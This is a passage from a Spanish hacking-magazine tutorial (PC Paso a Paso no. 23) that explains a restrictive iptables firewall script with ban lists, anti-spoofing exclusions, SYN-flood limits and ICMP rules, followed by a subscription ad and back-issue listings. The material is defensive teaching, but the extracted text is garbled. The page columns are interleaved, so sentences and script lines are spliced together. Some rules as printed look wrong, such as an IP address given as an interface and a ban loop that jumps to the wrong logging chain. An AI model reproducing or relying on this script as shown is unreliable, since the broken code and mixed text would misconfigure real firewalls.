iptables, Para ejecutarlo le cambiaremos el permiso +x al salva la configuración y verifica que archivo y lo lanzamos mediante ./NOIPT, nos puede IpTables se pueda ejecutar sin ser útil para resetear y dejar “limpio” cualquier otra problemas. configuración anterior de IPTables. PC PASO A PASO Nº 23 Página 57
  • 58. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) Script IPBANNER “no deseadas”, puedes incluir todas las que quieras, una o mil... eso dependerá de las restricciones que quieras Supongamos que deseamos negar el acceso de establecer. entrada, salida o las dos, a determinadas OPCIONREG es otra variable que usaremos para establecer IP’s, estas las declaramos en variables y desde un el umbral y ráfaga en los registros del sistema Syslog, script las cargamos y añadimos a las reglas de cada segundo con un límite de 10. IPTables. Se usan dos cadenas de usuario, IPBAN y Además nos creamos dos cadenas de usuario, una REGISTRAIPBAN, como la primera hace uso de la segunda, para el registro y desecho de esas IP’s no permitidas es preciso definir y establecer las reglas para y otra que validará el tráfico de entrada o salida de REGISTRAIPBAN antes que las de IPBAN esas IP’s “prohibidas por el administrador” REGISTRAIPBAN usa tres comandos iptables, La creación de la cadena: $IPT -N REGISTRAIPBAN Y las dos reglas que contiene: $IPT-AREGISTRAIPBAN-jLOG--log-prefix"IPTDESECHO: "$OPCIONREG $IPT -A REGISTRAIPBAN -j DROP Una registra (LOG) con la frecuencia estimada en la variable OPCIONESREG y la otra desecha el paquete (DROP) y dará por concluida la inspección de cualquier otra regla para la cadena. IPBAN es otra cadena que utiliza la creación de la misma –N y un bucle que lee el contenido de la variable IPBANEADAS (la lista de IP’s que escribimos al principio a excluir) y añade reglas a la cadena cuya IP origen o IP destino sea cualquiera de la lista, (-s para el origen y –d para el destino), la diana o acción a ejecutar será la cadena REGISTRAIPBAN que IMPORTANTE... este script aunque es ejecutable por sí comentamos antes, es decir, hace un LOG y un DROP mismo, sería parte de otro o le “faltan” más reglas... sólo de ellas. sirve como ejemplo de cómo cargar en las reglas un conjunto de IP’s a las que no deseamos permitir el acceso y al menos Observa lo importante que es el bucle, nos facilita la debería incluir el script anterior el que llamamos ./NOIPT inclusión de reglas, si quisiéramos “banear” 200 IP’s, sólo tendríamos que incluirlas en la variable IPBANEADAS y no En la variable IPBANEADAS escribiremos la lista de IP’s repetir 200 veces el mismo comando para las IP’s origen o redes completas separadas unas de otras por un espacio y otras 200 para las IP’s destino. en blanco, la lista que muestra el ejemplo, es eso.. un simple ejemplo con IP’s puestas “sin ton ni son”, no siguen Por último tenemos que explicar a IPTABLES dónde debe ningún criterio concreto, simplemente se negará el tráfico aplicar estas dos nuevas cadenas, si a INPUT, OUTPUT o de aquello que venga o vaya a esas IP’s que se suponen FORWARD, en nuestro caso a las dos primeras. Página 58 PC PASO A PASO Nº 23
  • 59. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) $IPT -A INPUT -j IPBAN DESCRIPCIÓN, LA LICENCIA Y LOS ENLACES $IPT -A INPUT -j REGISTRAIPBAN $IPT -A OUTPUT -j IPBAN Código parte 1 $IPT -A OUTPUT -j REGISTRAIPBAN ################################# Es MUY IMPORTANTE que entiendas bien el ####################### funcionamiento de este script, pues en este mecanismo de # Cortafuegos IPTFW2-HxC asignación de variables y utilización de cadenas de usuario # se basa el próximo ejemplo, por ello voy a hacer hincapié # sobre ello de nuevo, te pondré los pasos funcionales que # Firewall para una máquina con una sola tarjeta de describen el modo de operación del mismo: red # Reglas restrictivas de E/S, validación, IP’s baneadas 1. Se asignan el contenido a las variables IPT, y anti-flood OPCIONESREG e IPBANEADAS # # 2. Se crean reglas de registro y desecho para la tabla # Derechos Reservados (c) Vic_Thor 2004 Foros REGISTRAIPBAN, su cometido será registrar paquetes HackxCrack # (LOG) y posteriormente desecharlos (DROP) # A c c e s o a l f o r o : http://www.hackxcrack.com/phpBB2/index.php 3. Se crean reglas para la cadena de usuario IPBAN, # en ellas se incluyen todas las IP’s que figuren el la variable # Descarga directa del script: IPBANEADAS y como acción se “llama” a la cadena http://www.forohxc.com/ (falta el resto del enlace) REGISTRAIPBAN que se encargará de registrarlas, # desecharlas y parar la inspección. # Software Libre, puedes modificarlo y/o distribuirlo bajo # los términos de la Licencia GNU publicada por: 4. Se explica a IPTables que las nuevas cadenas de # Free Software Fundation, www.gnu.com usuario definidas se han de aplicar como entrada # (INPUT) y como salida (OUTPUT) por lo que cuando ################################# un paquete de datos quiera entrar o salir del cortafuegos ########################## y pertenezca a cualquier IP o red contenida en la variable IPBANEADAS, se registrará y se desechará. Después viene la asignación de variables, veamos que significan cada una de ellas y cual es su cometido dentro Con todo lo explicado hasta aquí y con la intención de del script, los valores de estas variables son las que deberás construirnos un cortafuegos “de verdad” voy a plantear lo modificar para adaptar el Firewall a tu propia red que hace, describir las cadenas y directivas, etc... luego os pondré el código (sin comentarios internos) y un link DEFINICIÓN DE VARIABLES en el que lo podréis descargar para no tener que teclearlo, IPFW es la dirección IP del host donde reside el cortafuegos en ese enlace si estarán comentadas las líneas. o el host al que protege Este cortafuegos no es perfecto y no cubre todos los casos, IPADMIN es la dirección o direcciones IP que usará el pero es una base... una base sobre la que trabajar y administrador del Firewall para acceder a él SIN adaptarlo a nuestra red o cortafuegos en particular, tampoco RESTRICCIONES, pueden ser internas o externas, es es que sea gran cosa,... siempre será mejor eso que decir, IP’s de LAN o de WAN para acceder al host desde empezar desde cero... y prepárate que esto va para Internet, en el ejemplo son privadas, puedes añadir tu IP largo..... pública para acceder sin traba alguna. PC PASO A PASO Nº 23 Página 59
  • 60. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) PINGSALIDA son las direcciones IP’s a las que les están Esto garantiza la primera regla anti-spoofing de IP, de permitidas enviar pings al exterior del cortafuegos, en el nuestra red nunca debe salir tráfico cuyas IP’s origen ejemplo son la del administrador y todas (0.0.0.0/0) es no estén en el rango al que pertenece, en nuestro caso decir, el host al que protege el cortafuegos podrá hacer 172.28.xxx.xxx y no deben entrar IP’s cuyas IP’s ping a cualquier dirección IP ya sea interna o externa. origen digan ser cualquiera de las excluidas, puesto que son IP’s reservadas por la IANA o reflejadas en el RFC 1918, lo que deberías de hacer es eliminar el rango PINGENTRADA, Son las direcciones IP’s a las que de red que uses de esa lista y añadir 172.28.0.0/16 que responderá el cortafuegos mediante protocolo ICMP, en el yo eliminé. ejemplo son las del administrador y todas, para que el host sólo responda a las que tú quieras, quita la IP 0.0.0.0/0 HOSTBAN, sigue el mismo principio que las IP’s baneadas, e incluye las que así lo desees, si no incluyes ninguna “”, de hecho es lo mismo, sólo que por ofrecer mayor el host no responderá a pings de nadie, te recomiendo que escalabilidad, podemos incluir aquí las IP’s que no deseamos al menos responda a la IP del administrador, así podrás a las que accedan, páginas de sexo, de hack, direcciones comprobar si está vivo. de cualquier tipo que la política de nuestra empresa prohibiría a sus empleados, no son excluidas porque no SSH, son las direcciones IP a las que podrá acceder el pertenecen a la lista ofrecida por el RFC 1918 y no son cortafuegos como tráfico SSH por el puerto 22, se le ha baneadas porque no “nos hicieron nada malo”, sólo que preasignado todas (0.0.0.0/0) no nos da la real gana que se acceda a ellas. Por omisión no hay host baneados. WWW, serán la lista de IP’s a las que podrá acceder al LOOPBACK, sin comentarios, la IP de bucle inverso...o host y pasarán por el cortafuegos como tráfico web, puerto toda la red 127.0.0.0/8 80, por omisión todas, así podremos navegar “sin restricciones”. REDINTERNA, lo dicho, la red a la que pertenece el host, en el caso que nos ocupa la 172.28.0.0/16 CONTROLSYN, es una variable que contiene el umbral y frecuencia para detectar inundaciones SYN, síntomas de Luego se reasignan las variables SSH, WWW con los ataques por denegación de servicios, el valor por omisión valores que ya tuviesen más la IP del administrador y las es de 5 segundos con umbral de 10 como ya hemos de loopback, con esto nos aseguramos que el admin. comentado anteriormente. siempre tendrá acceso y que el propio host (127.0.0.1) también y no nos auto-bloqueamos el acceso. OPCIONREG, es una variable que controla la frecuencia Código parte 2 con la que los paquetes de datos son registrados, es lo mismo que el ejemplo anterior del script IPBANNER IPFW=”172.28.0.200” IPADMIN="172.28.0.200 172.28.0.50" IPBAN, es la lista de Ip’s baneadas, la idea es que en esta PINGSALIDA="$IPADMIN 0.0.0.0/0" variable se incluyan las IP’s que hemos detectado como PINGENTRADA="$IPADMIN 0.0.0.0/0" sospechosas o que nos provocan “mal fario”, bien porque SSH="0.0.0.0/0" detectamos paquetes sospechosos que vinieron de esas WWW="0.0.0.0/0" IP’s o bien porque intentaron accesos prohibidos, por omisión CONTROLSYN="-m limit --limit 5/second --limit-burst 10" no hay IP’s baneadas. OPCIONREG="--log-level=3 -m limit --limit 1/second --limit-burst 10" IPBAN="" IPEXCLUIDAS, esto es similar a IPBAN, la diferencia estriba IPEXCLUIDAS="0.0.0.0/8 10.0.0.0/8 169.254.0.0/16 en que la lista que ofrece esta variable son IP’s que nunca 172.16.0.0/16 172.17.0.0/16 172.18.0.0/16 172.19.0.0/16 172.20.0.0/16 172.21.0.0/16 deberían salir de nuestra red o que nunca deberían entrar, de esa lista se ha eliminado precisamente el rango de red a la que pertenece nuestro cortafuegos, la 172.28.0.0/16. Página 60 PC PASO A PASO Nº 23
  • 61. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) 172.22.0.0/16 172.23.0.0/16 172.24.0.0/16 REGISTRADESECHO, para desechar los paquetes 172.25.0.0/16 172.26.0.0/16 172.27.0.0/16 172.29.0.0/16 172.30.0.0/16 172.31.0.0/16 REGISTRAIPBAN, para registrar los accesos de IP’s 192.168.0.0/16 192.0.0.0/24 192.0.34.0/24 baneadas de la lista que contenga la variable IPBAN 224.0.0.0/4 240.0.0.0/5 255.255.255.255" HOSTBAN="" REISTRAIPEXCLUIDAS, para registrar los accesos de LOOPBACK="127.0.0.1" IP’s excluidas que contenga la variable IPEXCLUIDAS REDINTERNA="172.28.0.0/16" SSH="$IPADMIN $SSH $LOOPBACK" REGISTRAIPHOSTBAN, para registrar los accesos a la WWW="$IPADMIN $WWW $LOOPBACK" lista de host prohibidos que tiene la variable IPHOSTBAN Ahora eliminamos y vaciamos cadenas, definimos directivas REGISTRAFLOOD, para registrar las inundaciones SYN predeterminadas, etc. Es lo mismo que describimos para y flooding tomando como variable de umbral y límite los el script ./NOIPT, pero añadido a este nuevo script, no contenidos de OPCIONESREG y CONTROLSYN comento nada más de ello, ya está visto anteriormente. COMPROBAR EL SERVICIO, VACIAR CADENAS Y Código parte 4 TABLAS $IPT -N REGISTRADESECHO Código parte 3 $IPT -A REGISTRADESECHO -j LOG --log-prefix "IPT DESECHO: " $OPCIONREG IPT="/sbin/iptables" $IPT -A REGISTRADESECHO -j DROP if [ ! -x $IPT ] $IPT -N REGISTRAIPBAN then $IPT -N REGISTRAIPEXCLUIDAS echo "Error: No se puede ejecutar $IPT , Revisa $IPT -N REGISTRAIPHOSTBAN la configuración" $IPT -A REGISTRAIPBAN -p tcp --dport 137:139 -j DROP exit 1 $IPT -A REGISTRAIPBAN -p udp --dport 137:139 -j DROP fi $IPT -A REGISTRAIPBAN -p tcp --dport 445 -j DROP $IPT -P INPUT DROP $IPT -A REGISTRAIPBAN -j LOG --log-prefix "IPT $IPT -P OUTPUT DROP BANEADAS: " $OPCIONREG $IPT -P FORWARD DROP $IPT -A REGISTRAIPBAN -j DROP $IPT -F $IPT -A REGISTRAIPEXCLUIDAS -p tcp --dport 137:139 - $IPT -X j DROP for tabla in filter nat mangle $IPT -A REGISTRAIPEXCLUIDAS -p udp --dport 137:139 - do j DROP $IPT -t $tabla -F $IPT -A REGISTRAIPBAN -p tcp --dport 445 -j DROP $IPT -t $tabla -X $IPT -A REGISTRAIPEXCLUIDAS -j LOG --log-prefix "IPT $IPT -t $tabla -Z EXCLUIDAS: " $OPCIONREG Done $IPT -A REGISTRAIPEXCLUIDAS -j DROP $IPT -A REGISTRAIPHOSTBAN -j LOG --log-prefix "IPT HOSTBANEADO: " $OPCIONREG CREACIÓN DE LAS CADENAS QUE $IPT -A REGISTRAIPHOSTBAN -j DROP $IPT -N REGISTRAFLOOD REGISTRARÁN LOGS $IPT -A REGISTRAFLOOD -j LOG --log-prefix "IPT FLOOD: " $OPCIONREG Aquí vamos a crearnos nuevas cadenas de usuario para $IPT -A REGISTRAFLOOD -j DROP que registren y desechen el tráfico indeseado, sigue los mismos principios que estudiamos en el script ./IPBANNER para la cadena REGSTRAIPBAN, sólo que aquí hay más, estas son: PC PASO A PASO Nº 23 Página 61
  • 62. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) Antes de pasar a la siguiente parte del código, comentar REGISTRAIPHOSTBAN que en el anterior, se desechan por omisión pero SIN $IPT -A HOSTBAN -s $iphostil -j REGISTRAR, todo el tráfico cuyos puertos destino sean REGISTRAIPHOSTBAN 137, 138, 139 y 445, esto es útil si disponemos de una done red mixta, con Windows y LiNUX, el tráfico SMB o NetBios $IPT -N FLOODSYN es “muy ruidoso” cada cierto tiempo los equipos Windows $IPT -A FLOODSYN $CONTROLSYN -j RETURN lanzan mensajes NetBios y como nuestro cortafuegos no $IPT -A FLOODSYN -j REGISTRAFLOOD lo dejará pasar, sino los desechamos, provocaran un registro + el desecho por la directiva predeterminada, CADENAS PARA EL CONTROL DE ENTRADA vamos, que se nos llenará el registro de logs con entradas DE PAQUETES del tráfico NetBios... y recuerda... definido de este modo, no habrá comunicación entre nuestro host y clientes De Nuevo nos creamos otras cadenas de usuario, en esta ocasión les tocara a las que serán las reglas de validación Windows, no podremos usar Samba ni nada que afecte a de entrada y salida de paquetes, empezamos por las de esos puertos... pero... se trataba de un cortafuegos muy entrada: restrictivo, no? Primero nos creamos la cadena ENTRADA con la opción –N y su cometido principal es aceptar o enviar al registro NUEVAS CADENAS PARA EL CONTROL DE de desechos (cadena anteriormente explicada IP’S Y ACCESO REGISTRADESECHO) los paquetes que deban traspasar o no... Ahora nos crearemos más cadenas de usuario para que podamos añadir las reglas específicas para las Ip’s baneadas, Concretamente rechaza explícitamente los paquetes excluidas, host’s prohibidos e inundaciones SYN, a su vez con cuyo estado sea inválido y también aquellos que cada una de esas cadenas, hacen uso de las otras definidas se detecten como inundaciones SYN, para ello utiliza anteriormente, las que registran esas actividades, para la opción del protocolo tcp --syn y la acción a ejecutar ello usamos bucles y como dianas u opciones a ejecutar, es precisamente la cadena FLOODSYN que acabamos de las propias cadenas de registro que acabamos de ver. ver, que a su vez, pasará el control a la cadena REGISTRAFLOOD de más atrás. (líneas 2 y 3 del código Esto es exactamente lo mismo que el ejemplo del script que viene a continuación) ./IPBANNER, el mismo principio y la misma funcionalidad, Acepta todos los paquetes que sean relacionados o por eso decía que entendieras BIEN ese script anterior establecidos de conexiones anteriores (línea 4) o te costará mucho este nuevo: La última línea envía al registro de desecho aquel Código parte 5 tráfico que entre en el cortafuegos con IP de origen la del propio cortafuegos. $IPT -N IPEXCLUIDAS for ipmal in $IPEXCLUIDAS; do Esto como estarás pensando, nunca debería de ocurrir, $IPT -A IPEXCLUIDAS -s $ipmal -j puesto que los paquetes entrantes nunca deben proceder REGISTRAIPEXCLUIDAS del propio host, si esto ocurriese es que “alguien” está $IPT -A IPEXCLUIDAS -d $ipmal -j intentando falsear su IP e intentar entrar “a escondidas”, REGISTRAIPEXCLUIDAS vamos otra de las reglas anti-spoofing, nunca se done deben aceptar paquetes cuya IP de origen sea la $IPT -N IPBAN nuestra. for ipmal in $IPBAN; do Código parte 6 $IPT -A IPBAN -s $ipmal -j REGISTRAIPEXCLUIDAS $IPT -A IPBAN -d $ipmal -j REGISTRAIPEXCLUIDAS $IPT -N ENTRADA done $IPT -A ENTRADA -m state --state INVALID -j REGISTRADESECHO $IPT -N HOSTBAN $IPT -A ENTRADA -p tcp --syn -j FLOODSYN for iphostil in $HOSTBAN; do $IPT -A ENTRADA -m state --state ESTABLISHED,RELATED -j ACCEPT $IPT -A HOSTBAN -s $iphostil -j $IPT -A ENTRADA -s $IPFW -j REGISTRADESECHO Página 62 PC PASO A PASO Nº 23
  • 63. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) MAS REGLAS DE ENTRADA. TRAFICO TCP Como antes, en la primera línea creamos la nueva cadena con la opción –N Todavía continuamos añadiendo nuevas reglas de entrada, pero ahora mediante bucles que leerán los contenidos En la segunda línea controlamos que todas aquellas de las variables SSH, WWW e IPADMIN, recuerda que IP’s que NO SEAN (!) LA PROPIA IP DEL FIREWALL, estas variables deberían tener la lista de IP’s a las que les se lleven a la cadena que registra los desechos, está permitido acceder al host o al cortafuegos mediante tráfico SSH o web (puertos 22 y 80 de tcp) y que también Esta es otra de las “reglas de oro” anti-spoofing, la lista de IP’s definidas como de administración no tendrán ningún paquete debe salir del Firewall que no tenga ninguna restricción de entrada al host cortafuegos. como IP origen la del propio firewall. Para asegurarnos, utilizamos siempre --dport y m state En la tercera línea, permitimos el tráfico que ya esté --state NEW, de ese modo le estamos explicando a establecido o relacionado, así nuestro firewall podrá IPTables que acepte conexiones nuevas que vayan al responder a las conexiones nuevas que le entraron puerto destino que se indique tras --dport, pero no otras anteriormente y que ya fueron estudiadas en la cadena ni por otros puertos ni con puertos origen aunque sean 22 ENTRADA ó 80. Las líneas cuatro y siguientes establecen la lista de Código parte 7 puertos permitidos por las que nos podremos comunicar de salida, es decir, aquellas conexiones NUEVAS que for ipsegura in $SSH; do $IPT -A ENTRADA -p tcp -s $ipsegura --dport 22 -m state --state NEW -j ACCEPT se originen en el host cortafuegos y que tengan como done puerto destino cualquiera de los que se mencionan, for ipexterior in $WWW; do $IPT -A ENTRADA -p tcp -s $ipexterior --dport 80 -m state --state NEW -j ACCEPT Yo he incluido algunos, 21, 22, 53, 80 y 443, puedes añadir done otros nuevos, bastará que copies cualquiera de esas reglas for ipadmin in $IPADMIN; do y modifiques el puerto destino que le sigue al parámetro $IPT -A ENTRADA -p tcp -s $ipadmin -m state --state NEW -j ACCEPT –dport, de igual modo puedes quitar los que no te Done convengan, pero CUIDADO, no quites el 80, ni el 22, puesto que estos se usan en las reglas de entrada, si lo Date cuenta también de la diferencia en las reglas para el haces no podrás navegar, tampoco es recomendable administrador (último bucle) , en ellas no se valida ningún eliminar la última línea, la que permite el tráfico UDP puerto, es decir, la IP o listas de IP’s para la administración por el puerto 53, si lo haces puedes no tener comunicación podrán traspasar el firewall de entrada por cualquier puerto, con el DNS de tu proveedor de Internet. esto puede ser un agujero de seguridad, puesto que si alguien falsea su IP por una de las de administración puede Para afinar aún más, podríamos haber asignado una IP de tener acceso TOTAL, destino o IP’s de destino para el protocolo UDP, así nos aseguraríamos que sólo usaremos las IP’s de los DNS que mmm, como “reto” te propongo que en el foro publiques nos suministra el proveedor de Internet y no otros... eso “tus soluciones”, aunque IPTables puede controlar de lo dejo para ti... alguna manera que esto no ocurra, no te lo voy a decir, no ahora... no en este artículo, pero sí que deberías aportar Código parte 8 tus propias soluciones con todo lo que ya hemos visto en $IPT -N SALIDA este curso... revisa y recuerda $IPT -A SALIDA -s ! $IPFW -j REGISTRADESECHO $IPT -A SALIDA -m state --state ESTABLISHED,RELATED -j ACCEPT CADENAS Y REGLAS PARA LA SALIDA TCP y UDP $IPT -A SALIDA -m state --state NEW -p tcp --dport 21 -j ACCEPT $IPT -A SALIDA -m state --state NEW -p tcp --dport 22 -j ACCEPT $IPT -A SALIDA -m state --state NEW -p tcp --dport 53 -j ACCEPT Al igual que nos creamos cadenas de usuario de ENTRADA $IPT -A SALIDA -m state --state NEW -p tcp --dport 80 -j ACCEPT nos vamos a crear otra para la SALIDA, es decir, una nueva $IPT -A SALIDA -m state --state NEW -p tcp --dport 443 -j ACCEPT cadena SALIDA con sus reglas... $IPT -A SALIDA -m state --state NEW -p udp --dport 53 -j ACCEPT PC PASO A PASO Nº 23 Página 63
  • 64. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) REGLAS DE ENTRADA Y SALIDA PARA Código parte 9 TRÁFICO ICMP $IPT -N ENTRADA_ICMP Ya hemos establecido las reglas para TCP y para UDP, tanto for ipicmpent in $PINGENTRADA; do $IPT -A ENTRADA_ICMP -p icmp --icmp-type echo-request -s $ipicmpent -d $IPFW -j ACCEPT de entrada como de salida, ahora vamos con ICMP, los $IPT -A ENTRADA_ICMP -p icmp --icmp-type echo-reply -s $ipicmpent -d $IPFW -j ACCEPT pings, pongs u otros mensajes. done $IPT -A ENTRADA_ICMP -p icmp --icmp-type destination-unreachable -j ACCEPT Como antes añadiremos tanto reglas para la entrada y $IPT -A ENTRADA_ICMP -p icmp --icmp-type source-quench -j ACCEPT para la salida, en esta ocasión te las pongo todas juntas. $IPT -A ENTRADA_ICMP -p icmp --icmp-type parameter-problem -j ACCEPT $IPT -A ENTRADA_ICMP -p icmp --icmp-type time-exceeded -j ACCEPT Lo único que hay que reseñar es que las Ip’s que se $IPT -N SALIDA_ICMP permiten como tráfico ICMP de entrada son las que contenga for ipicmpsal in $PINGSALIDA; do $IPT -A SALIDA_ICMP -p icmp --icmp-type echo-request -d $ipicmpsal -j ACCEPT la variable PINGENTRADA y que se acepta cualquier tipo $IPT -A SALIDA_ICMP -p icmp --icmp-type echo-reply -d $ipicmpsal -j ACCEPT de tráfico ICMP entrante $IPT -A ENTRADA_ICMP -p icmp --icmp-type echo-reply -s $ipicmpsal -d $IPFW -j ACCEPT done Igual ocurre con los pongs... los echo-reply, sólo que para $IPT -A SALIDA_ICMP -p icmp --icmp-type destination-unreachable -j ACCEPT la cadena SALIDA y con la lista de IP’s que contenga la $IPT -A SALIDA_ICMP -p icmp --icmp-type source-quench -j ACCEPT $IPT -A SALIDA_ICMP -p icmp --icmp-type parameter-problem -j ACCEPT variable PINGSALIDA excepto en un caso... $IPT -A SALIDA_ICMP -p icmp --icmp-type time-exceeded -j ACCEPT for ipicmpsal in $PINGSALIDA; do $IPT -A SALIDA_ICMP -p icmp --icmp-type echo-request -d $ipicmpsal -j ACCEPT CADENAS DE USUARIO A CADENAS $IPT -A SALIDA_ICMP -p icmp --icmp-type echo-reply -d $ipicmpsal -j ACCEPT ESTANDAR $IPT -A ENTRADA_ICMP -p icmp --icmp-type echo-reply -s $ipicmpsal -d $IPFW -j ACCEPT Terminamos…. Como hemos definido un montón de cadenas done de usuario, tenemos que explicar a IPTables hacia qué cadenas “estándar” se deben aplicar, es decir, si nuestras Esa línea que está resaltada, te puede parecer un error, nuevas cadenas se deben aplicar dentro de la cadena pero no lo es.... no es que haya equivocado la cadena predefinida INPUT, OUTPUT o las dos. SALIDA y haya puesto ENTRADA, es así... porque nuestros echo reply deben poder entrar la host cortafuegos cuyo Este es el resumen: origen sea cualquiera de las IP’s permitidas de Salida, eso sí, de sólo aquellas cuya IP destino sea nuestro propio Se asignarán a las cadenas estándar INPUT y OUTPUT, cortafuegos, en cristiano: las cadenas de usuario: Permite la entrada de los echo reply (aquellos que nos enviarán las máquinas a las que les hagamos ping desde La IP de loopback el cortafuegos) cuya ip origen esté permitida en la variable Las cadenas IPEXCLUIDAS, IPBAN, HOSTBAN, PINGSALIDA y cuyo destino seamos nosotros mismos. FLOODSYN y REGISTRADESECHO Todo el tráfico que NO SEA ICMP Si no incluimos nada en las variables PINGENTRADA y PINGSALIDA al principio, no podremos enviar pings a nadie Se asignarán únicamente a las cadenas estándar INPUT, y tampoco responderemos a nadie, o si incluimos 0.0.0.0/0 las cadenas de usuario: se lo permitimos a todos, si queremos hacer ping pero que nosotros no respondamos a ellos, podremos 0.0.0.0/0 en ENTRADA y ENTRADA_ICMP la variable PINGSALIDA y nada (“”) en la variable PINGENTRADA. Se asignarán únicamente a las cadenas estándar OUTPUT, las cadenas de usuario: Las nuevas cadenas de usuario que controlarán el tráfico ICMP entrante o saliente son: ICMP_ENTRADA e SALIDA y SALIDA_ICMP ICMP_SALIDA Página 64 PC PASO A PASO Nº 23
  • 65. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) Código parte 10 $IPT -A INPUT -i $LOOPBACK -j ACCEPT a tu LiNUX y aplicar el script ./NOIPT o cualquier $IPT -A INPUT -j IPEXCLUIDAS otro que vuelva a poner “las cosas en su sitio”. $IPT -A INPUT -j IPBAN $IPT -A INPUT -j HOSTBAN $IPT -A INPUT -j FLOODSYN Y más trabajo..... ahora los deberes... $IPT -A INPUT -p ! icmp -j ENTRADA $IPT -A INPUT -p icmp -j Qué te parece “acoplar” otro módulo a este ENTRADA_ICMP cortafuegos que detecte, registre y deseche escaneos $IPT -A INPUT -j de puertos o técnicas sospechosas de usos REGISTRADESECHO fraudulentos de los indicadores TCP , como por $IPT -A OUTPUT -o $LOOPBACK -j ACCEPT ejemplo detectar las actividades de nMap $IPT -A OUTPUT -j IPEXCLUIDAS o de Firewalk.... bien, pues esos son “tus deberes”, $IPT -A OUTPUT -j IPBAN en los foros has de aportar tus ideas, soluciones, $IPT -A OUTPUT -j HOSTBAN preguntas... y si andáis muy despistados, alguna $IPT -A OUTPUT -j FLOODSYN pista daremos $IPT -A OUTPUT -p ! icmp -j SALIDA $IPT -A OUTPUT -p icmp -j SALIDA_ICMP $IPT -A OUTPUT -j REGISTRADESECHO Para el próximo artículo abordaremos las tablas nat, mangle y cadenas FORWARD, será indispensable que tengas una buena práctica con los comandos, opciones, scripts., etc., que hemos visto por ahora, Ni que decir tiene que todas las líneas de código la práctica e implementación final de un firewall de pertenecen al mismo script, (las 10 partes del código) red usará cadenas de usuario y funciones muy hay que teclearlo todo en un único archivo, o como similares a las que acabamos de ver... y para entonces ya te dije antes podrás descargar éste y los otros no las detallaré tan minuciosamente.... utilizados en este artículo de la dirección: Hasta pronto http://www.forohxc.com/Docs/fw/ipt/iptfw2.txt Bueno, ha sido duro... lo sé... pero lee, lee y vuelve a leer, para cualquier duda estamos en los foros, tómalo con calma y practica MUCHO por tu cuenta, ten siempre “a mano” el script que llamé ./NOIPT, te será de gran ayuda para restaurar la configuración de IPTables y que no te quedes colgado... ten mucho cuidado con las directivas predeterminadas DROP y REJECT, si las aplicas mal, salvas la configuración del servicio IPTables y reinicias el servicio o el equipo te puedes llevar más de una sorpresa... como por ejemplo que auto-bloqueé el servicio de las X, en ese caso tendrás que acceder sin el modo “gráfico” PC PASO A PASO Nº 23 Página 65
  • 66. SUSCRIBETE A PC PASO A PASO 45 EUROS (10% DE DESCUENTO) SUSCRIPCIÓN POR: + 1 AÑO = SORTEO DE UNA CONSOLA XBOX + 11 NUMEROS SORTEO 2 JUEGOS PC (A ELEGIR) C o n t r a R e e m b o l s o Giro Postal Solo tienes que enviarnos un mail a preferente@hackxcrack.com Envíanos un GIRO POSTAL por valor de 45 EUROS a: indicando: CALLE PERE MARTELL20, 2º 1ª. - Nombre CP 43001 TARRAGONA - Apellidos ESPAÑA - Dirección Completa IMPORTANTE: En el TEXTO DEL GIRO escribe un mail de contacto - Población o un número de Teléfono. - Provincia - Cógigo Postal Y enviarnos un mail a preferente@hackxcrack.com indicando: - Mail de Contacto y/o Teléfono Contacto - Nombre Es imprescindible que nos facilites un mail o teléfono de contacto. - Apellidos - Tipo de Subscripción: CONTRAREEMBOLSO - Dirección Completa - Número de Revista: - Población Este será el número a partir del cual quieres subscribirte. Si deseas - Provincia (por ejemplo) subscribirte a partir del número 5 (incluido), debes poner - Cógigo Postal un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos) - Mail de Contacto y/o Teléfono Contacto Es imprescindible que nos facilites un mail o teléfono de contacto. APRECIACIONES: - Tipo de Subscripción: GIRO POSTAL * Junto con el primer número recibirás el abono de 45 euros, precio - Número de Revista: de la subscripción por 11 números (un año) y una carta donde se te Este será el número a partir del cual quieres subscribirte. Si deseas indicará tu número de Cliente Preferente y justificante/factura de la (por ejemplo) subscribirte a partir del número 5 (incluido), debes poner subscripción. un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos) * Puedes hacernos llegar estos datos POR MAIL,tal como te hemos indicado; rellenando el formulario de nuestra WEB APRECIACIONES: (www.hackxcrack.com) o enviándonos una carta a la siguiente dirección: * Junto con el primer número recibirás una carta donde se te indicará CALLE PERE MARTELL Nº20, 2º-1ª tu número de Cliente Preferente y justificante/factura de la subscripción. CP 43001 TARRAGONA * Puedes hacernos llegar estos datos POR MAIL,tal como te hemos ESPAÑA indicado; o enviándonos una carta a la siguiente dirección: * Cualquier consulta referente a las subscripciones puedes enviarla CALLE PERE MARTELL Nº20, 2º-1ª por mail a preferente@hackxcrack.com CP 43001 TARRAGONA ESPAÑA * Cualquier consulta referente a las subscripciones puedes enviarla por mail a preferente@hackxcrack.com
  • 67. NÚMERO 11: NÚMERO 12: - Curso de linux: programacion - Curso de linux: programacion C. - Visual Basic: IIS bug exploit - Visual Basic: IIS bug exploit. Nuestro primer Scanner. - Apache como proxy - APACHE: Configuralo de forma segura. - Serie Raw: FTP - Serie Raw: FTP(II) - Validacion XML: DTD - VALIDACION XML: DTD (II) - Historia: Lady Augusta Ada Byron NÚMERO 14: NÚMERO 13: - Curso de linux: programacion C(III). - Curso de linux: programacion C(II). - Visual Basic:Nuestro primer proyecto(II). - Visual Basic:Nuestro primer proyecto. - Curso de PHP - APACHE: Configuralo de forma segura. - Serie Raw: DNS. - Serie Raw: HTTP. - CURSO XML: DOM(II). - CURSO XML: DOM. - HIJACKING - CURSO DE PHP (II) - Xbox. Inst alar Linux - SERIE RAW (9): MSN RAW - CURSO VISUAL BASIC: UN CLIENTE, UNA NECESIDAD(III). - PROGRAMACION BAJO LINUX: LENGUAJE C(III)